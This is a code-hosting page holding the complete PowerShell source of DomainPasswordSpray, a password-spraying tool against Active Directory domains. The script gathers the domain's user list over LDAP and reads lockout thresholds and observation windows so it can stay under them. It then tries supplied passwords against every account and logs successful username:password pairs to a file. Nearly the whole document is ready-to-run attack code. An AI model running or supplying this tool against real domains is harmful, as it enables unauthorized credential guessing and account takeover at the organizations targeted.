1 Star 0 Fork 0

Guuu / 工具

Create your Gitee Account
Explore and code with more than 6 million developers,Free private repositories !:)
Sign up
Clone or download
DomainPasswordSpray.ps1 22.75 KB
Copy Edit Web IDE Raw Blame History
Guuu authored 2020-04-11 17:16 . 域用户密码爆破
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565
function Invoke-DomainPasswordSpray{
<#
.SYNOPSIS
This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
DomainPasswordSpray Function: Invoke-DomainPasswordSpray
Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
.PARAMETER UserList
Optional UserList parameter. This will be generated automatically if not specified.
.PARAMETER Password
A single password that will be used to perform the password spray.
.PARAMETER PasswordList
A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
.PARAMETER OutFile
A file to output the results to.
.PARAMETER Domain
The domain to spray against.
.PARAMETER Force
Forces the spray to continue and doesn't prompt for confirmation.
.EXAMPLE
C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
Description
-----------
This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016.
.EXAMPLE
C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
Description
-----------
This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window.
#>
Param(
[Parameter(Position = 0, Mandatory = $false)]
[string]
$UserList = "",
[Parameter(Position = 1, Mandatory = $false)]
[string]
$Password,
[Parameter(Position = 2, Mandatory = $false)]
[string]
$PasswordList,
[Parameter(Position = 3, Mandatory = $false)]
[string]
$OutFile,
[Parameter(Position = 4, Mandatory = $false)]
[string]
$Domain = "",
[Parameter(Position = 5, Mandatory = $false)]
[switch]
$Force
)
if ($Domain -ne "")
{
Try
{
#Using domain specified with -Domain option
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
$CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
}
catch
{
Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try again specifying the domain name with the -Domain option."
break
}
}
else
{
Try
{
#Trying to use the current user's domain
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
}
catch
{
Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
break
}
}
if ($UserList -eq "")
{
$UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts
}
else
{
#if a Userlist is specified use it and do not check for lockout thresholds
Write-Host "[*] Using $UserList as userlist to spray with"
Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold."
$UserListArray = @()
try
{
$UserListArray = Get-Content $UserList -ErrorAction stop
}
catch [Exception]{
Write-Host -ForegroundColor "red" "$_.Exception"
break
}
}
# If a single password is selected do this
if ($Password)
{
#if no force flag is set we will ask if the user is sure they want to spray
if (!$Force)
{
$title = "Confirm Password Spray"
$message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
$yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
"Attempts to authenticate 1 time per user in the list."
$no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
"Cancels the password spray."
$options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
$result = $host.ui.PromptForChoice($title, $message, $options, 0)
switch ($result)
{
0
{
$time = Get-Date
Write-Host -ForegroundColor Yellow "[*] Password spraying has begun. Current time is $($time.ToShortTimeString())"
Write-Host "[*] This might take a while depending on the total number of users"
$curr_user = 0
$count = $UserListArray.count
ForEach($User in $UserListArray){
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password)
If ($Domain_check.name -ne $null)
{
if ($OutFile -ne "")
{
Add-Content $OutFile $User`:$Password
}
Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
}
$curr_user+=1
Write-Host -nonewline "$curr_user of $count users tested`r"
}
Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
if ($OutFile -ne "")
{
Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
}
}
1 {"Cancelling the password spray."}
}
}
#If the force flag is set don't bother asking if we are sure we want to spray.
if ($Force)
{
$time = Get-Date
Write-Host -ForegroundColor Yellow "[*] Password spraying has begun. Current time is $($time.ToShortTimeString())"
Write-Host "[*] This might take a while depending on the total number of users"
$curr_user = 0
$count = $UserListArray.count
ForEach($User in $UserListArray){
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password)
If ($Domain_check.name -ne $null)
{
if ($OutFile -ne "")
{
Add-Content $OutFile $User`:$Password
}
Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
}
$curr_user+=1
Write-Host -nonewline "$curr_user of $count users tested`r"
}
Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
if ($OutFile -ne "")
{
Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
}
}
}
# If a password list is selected do this
ElseIf($PasswordList){
$Passwords = Get-Content $PasswordList
#Get account lockout observation window to avoid running more than 1 password spray per observation window.
$net_accounts = "cmd.exe /C net accounts /domain"
$net_accounts_results = Invoke-Expression -Command:$net_accounts
$stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
$stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
$observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
[int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!"
Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes."
Write-Host "[*] Setting a $observation_window minute wait in between sprays."
#if no force flag is set we will ask if the user is sure they want to spray
if (!$Force)
{
$title = "Confirm Password Spray"
$message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
$yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
"Attempts to authenticate 1 time per user in the list for each password in the passwordlist file."
$no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
"Cancels the password spray."
$options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
$result = $host.ui.PromptForChoice($title, $message, $options, 0)
switch ($result)
{
0
{
Write-Host -ForegroundColor Yellow "[*] Password spraying has begun."
Write-Host "[*] This might take a while depending on the total number of users"
ForEach($Password_Item in $Passwords){
$time = Get-Date
Write-Host "[*] Now trying password $Password_Item. Current time is $($time.ToShortTimeString())"
$curr_user = 0
$count = $UserListArray.count
ForEach($User in $UserListArray){
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password_Item)
If ($Domain_check.name -ne $null)
{
if ($OutFile -ne "")
{
Add-Content $OutFile $User`:$Password_Item
}
Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password_Item"
}
$curr_user+=1
Write-Host -nonewline "$curr_user of $count users tested`r"
}
Countdown-Timer -Seconds (60*$observation_window)
}
Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
if ($OutFile -ne "")
{
Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
}
}
1 {"Cancelling the password spray."}
}
}
#if the force flag is set we will not bother asking about proceeding with password spray.
if($Force)
{
Write-Host -ForegroundColor Yellow "[*] Password spraying has begun."
Write-Host "[*] This might take a while depending on the total number of users"
ForEach($Password_Item in $Passwords){
$time = Get-Date
Write-Host "[*] Now trying password $Password_Item. Current time is $($time.ToShortTimeString())"
$curr_user = 0
$count = $UserListArray.count
ForEach($User in $UserListArray){
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password_Item)
If ($Domain_check.name -ne $null)
{
if ($OutFile -ne "")
{
Add-Content $OutFile $User`:$Password_Item
}
Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password_Item"
}
$curr_user+=1
Write-Host -nonewline "$curr_user of $count users tested`r"
}
Countdown-Timer -Seconds (60*$observation_window)
}
Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
if ($OutFile -ne "")
{
Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
}
}
}
Else{
Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified"
break
}
}
Function Countdown-Timer
{
Param(
$Seconds = 1800,
$Message = "[*] Pausing to avoid account lockout."
)
ForEach ($Count in (1..$Seconds))
{ Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100)
Start-Sleep -Seconds 1
}
Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed
}
Function Get-DomainUserList{
<#
.SYNOPSIS
This module gathers a userlist from the domain.
DomainPasswordSpray Function: Get-DomainUserList
Author: Beau Bullock (@dafthack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module gathers a userlist from the domain.
.PARAMETER Domain
The domain to spray against.
.PARAMETER RemoveDisabled
Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
.PARAMETER RemovePotentialLockouts
Removes accounts within 1 attempt of locking out.
.EXAMPLE
C:\PS> Get-DomainUserList
Description
-----------
This command will gather a userlist from the domain including all samAccountType "805306368".
.EXAMPLE
C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
Description
-----------
This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt"
#>
Param(
[Parameter(Position = 0, Mandatory = $false)]
[string]
$Domain = "",
[Parameter(Position = 1, Mandatory = $false)]
[switch]
$RemoveDisabled,
[Parameter(Position = 2, Mandatory = $false)]
[switch]
$RemovePotentialLockouts
)
if ($Domain -ne "")
{
Try
{
#Using domain specified with -Domain option
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
$CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
}
catch
{
Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try again specifying the domain name with the -Domain option."
break
}
}
else
{
Try
{
#Trying to use the current user's domain
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
}
catch
{
Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
break
}
}
#Setting the current domain's account lockout threshold
$objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"
$AccountLockoutThresholds = @()
$AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold
#Getting the AD behavior version to determine if fine-grained password policies are possible
$behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0)
if ($behaviorversion -ge 3)
{
#Determine if there are any fine-grained password policies
Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy."
$ADSearcher = New-Object System.DirectoryServices.DirectorySearcher
$ADSearcher.SearchRoot = $objDeDomain
$ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)"
$PSOs = $ADSearcher.FindAll()
if ( $PSOs.count -gt 0)
{
Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n")
foreach($entry in $PSOs)
{
#Selecting the lockout threshold, min pwd length, and which groups the fine-grained password policy applies to
$PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties
$PSOPolicyName = $PSOFineGrainedPolicy.name
$PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold'
$PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto'
$PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength'
#adding lockout threshold to array for use later to determine which is the lowest.
$AccountLockoutThresholds += $PSOLockoutThreshold
Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n"
}
}
}
#Get account lockout observation window to avoid running more than 1 password spray per observation window.
$net_accounts = "cmd.exe /C net accounts /domain"
$net_accounts_results = Invoke-Expression -Command:$net_accounts
$stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
if($stripped_policy)
{
$stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
$observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
[int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
}
#Generate a userlist from the domain
#Selecting the lowest account lockout threshold in the domain to avoid locking out any accounts.
[int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1
Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..."
if ($SmallestLockoutThreshold -eq "0")
{
Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy."
}
else
{
Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts."
}
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain)
$DirEntry = New-Object System.DirectoryServices.DirectoryEntry
$UserSearcher.SearchRoot = $DirEntry
$UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null
$UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null
$UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null
If ($RemoveDisabled){
Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list."
# more precise LDAP filter UAC check for users that are disabled (Joff Thyer)
$UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
}
else
{
$UserSearcher.filter = "(&(objectCategory=person)(objectClass=user))"
}
# grab batches of 1000 in results
$UserSearcher.PageSize = 1000
$AllUserObjects = $UserSearcher.FindAll()
Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.")
$UserListArray = @()
If ($RemovePotentialLockouts)
{
Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list."
Foreach ($user in $AllUserObjects)
{
#Getting bad password counts and lst bad password time for each user
$badcount = $user.Properties.badpwdcount
$samaccountname = $user.Properties.samaccountname
try
{
$badpasswordtime = $user.Properties.badpasswordtime[0]
}
catch
{
continue
}
$currenttime = Get-Date
$lastbadpwd = [DateTime]::FromFileTime($badpasswordtime)
$timedifference = ($currenttime - $lastbadpwd).TotalMinutes
if ($badcount)
{
[int]$userbadcount = [convert]::ToInt32($badcount, 10)
$attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount
#if there is more than 1 attempt left before a user locks out or if the time since the last failed login is greater than the domain observation window add user to spray list
if (($timedifference -gt $observation_window) -Or ($attemptsuntillockout -gt 1))
{
$UserListArray += $samaccountname
}
}
}
}
else
{
Foreach ($user in $AllUserObjects)
{
$samaccountname = $user.Properties.samaccountname
$UserListArray += $samaccountname
}
}
Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain")
return $UserListArray
}

Comment ( 0 )

Sign in for post a comment

1
https://gitee.com/hackergu/tool.git
git@gitee.com:hackergu/tool.git
hackergu
tool
工具
master

Search

101046 36f486cf 1899542 101055 4cb66026 1899542